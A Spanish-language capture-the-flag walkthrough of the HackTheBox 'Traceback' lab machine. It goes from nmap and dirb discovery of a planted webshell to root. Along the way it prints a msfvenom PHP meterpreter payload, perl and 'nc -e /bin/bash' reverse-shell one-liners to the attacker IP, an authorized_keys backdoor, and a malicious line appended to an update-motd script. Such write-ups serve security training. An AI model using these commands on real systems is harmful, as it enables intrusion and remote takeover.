Escaneamos todos los puertos mediante nmap:
nmap -p- -Pn -A 10.10.10.181 -n
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/10%OT=22%CT=1%CU=32748%PV=Y%DS=2%DC=T%G=Y%TM=5F08825
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O
OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS
1 42.90 ms 10.10.14.1
2 43.32 ms 10.10.10.181
Comenzamos a fuzzear la web en la cual no encontramos nada
dirb http://10.10.10.181
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Jul 10 17:06:15 2020
URL_BASE: http://10.10.10.181/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.181/ ----
Accedemos a la web y vemos que parece ser que hicieron un Defacement
Analizando el código fuente vemos una linea la cual nos resulta interesante y la buscamos en google: «Some of the best web shells that you might need»
En la cual encontramos un repositorio el cual contiene webshell
Creamos un wordlist con todas las webshell encontaradas en: https://github.com/TheBinitGhimire/Web-Shells
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php
Volvemos a Fuzzear con el wordlist generado encontrnado una webshell llamada «smevk.php»
dirb http://10.10.10.181 /usr/share/dirb/wordlists/shell.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Jul 10 17:12:33 2020
URL_BASE: http://10.10.10.181/
WORDLIST_FILES: /usr/share/dirb/wordlists/shell.txt
-----------------
GENERATED WORDS: 16
---- Scanning URL: http://10.10.10.181/ ----
+ http://10.10.10.181/smevk.php (CODE:200|SIZE:1261)
a
Generamos una shell para poder subir
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.15.17 LPORT=8080 R > exploit.php
De la misma forma, dejamos escuchando un handler
set payload php/meterpreter/reverse_tcp
set lport 8080
set lhost 10.10.15.17
exploit
[*] Started reverse TCP handler on 10.10.15.17:8080
[*] Sending stage (38288 bytes) to 10.10.10.181
Subimos la shell creada en http://10.10.10.181/smevk.php
Ejecutamos la shell subida en el paso anterior: http://10.10.10.181/exploit.php
Comprobamos que tenemos una shell en el handler que hemos dejado escuchando.
Comprobamos el usuario que somos
A continuación yo cambio de shell dado que la shell obtenida era realmente muy aparatosa…. pero como veremos a continuación había una forma mejor
Dejamos escuchando mediante NC un listener
nc -lvp 1234
Mediante perl obtenemos la nueva shell
/usr/bin/perl -e 'use Socket;$i="10.10.15.17";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Empezamos a intentar obtener información para poder elevar privilegios, al realizar un history vemos los siguientes comandos ejecutados anteriormente:
Elevamos privilegios ejecutando el comando:
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
Nuevamente cometemos el error de configurar una nueva shell en perl dado que la shell era un poco mala
Dejamos escuchando NC
nc -lvp 1235
Ejecutamos la shell
/usr/bin/perl -e 'use Socket;$i="10.10.15.17";$p=1235;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Obtenemos la primera FLAQ del usuario sysadmin
cat /home/sysadmin/user.txt
f09a465986a1bb1aeb0fa2948db78040
Tras buscar mucho como poder elevar privilegios lo único interesante que encontramos es el siguiente proceso el cual se ejecuta cada 30 segundos
root 36600 0.0 0.0 58792 3160 ? S 09:09 0:00 /usr/sbin/CRON -f
root 36602 0.0 0.0 4628 840 ? Ss 09:09 0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
root 36606 0.0 0.0 7468 788 ? S 09:09 0:00 sleep 30
Comprobamos el directorio /etc/update-motd.d/ y dentro de el se encuentra diversos ficheros, Nos centramos en 00-header dado que tiene el mismo mensaje que cuando se intenta acceder por ssh
El único problema es que no tenemos contraseña para acceder por ssh… dando vueltas caemos en la cuenta que realmente no hace falta contraseña porque nos podemos conectar mediante certificado. Por lo tanto agregamos nuestro certificado al archivo authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNjYWBv5FHyS4OWe+xB/WoNwrH54Z3zFqRwtKFnG6meFh1/HnPwQofXjmcg5Y0a/CbfFD1twiZDK2h1Tap9aq2FnFjOghZb0mFfIfWiEyK3o6UK+eN9MW7hnK6EVqvxVR2kfTQgYLgLasiRiqSGfHuM/c9+wAaLgYJnD1pBuLpnkgsrjUBUE7MkTCB+e69DXoSj39VsJG7QyeeHHk1hoSfHHH0hfnxt+Z1E3eu2+dmA1iTfX17/2LHoTy/8ZIJDwMCFx6RlE8Ws0WQghw2qJDX7SPepk2adDdvzuxda3iD59un5GPDqJE3R970Q5DDNqvFGFLQBk6F0yHn+AqRfIRFSSZBR61oC5ZRzjvfTNVDFa0HxUs2vWx7gyRXlSJTvQgYIXfbPmfwTnXiccngc3qE+4yvWV97+AbMySHcY0ZSG7ws06+qcm90kEeEJrsoKl05bbVur9nEWv09RiuWq9UHeojDBGy4mCwjaj3MZLhEh7fPqRnBafWmAidtkLSLf9k= webadmin@redorbita" >> authorized_keys
Comprobamos a conectarnos por ssh
Realizamos diversas pruebas modificando el archivo 00-header y comprobamos que sale lo que agregamos cuando intentamos conectarnos por ssh, por lo tanto dejamos escuchando un nc
nc -lvp 1236
Agregamos una reverse shell al fichero 00-header
echo "nc -e /bin/bash 10.10.15.17 1236" >> 00-header
Accedemos mediante SSH y comprobamos que obtenemos shell mediante root
Obtenemos la ultima FLAQ del usuario root
root@traceback:/# cat /root/root.txt
cat /root/root.txt
1a6a97a01269b613870c8292c198ff77
:wq!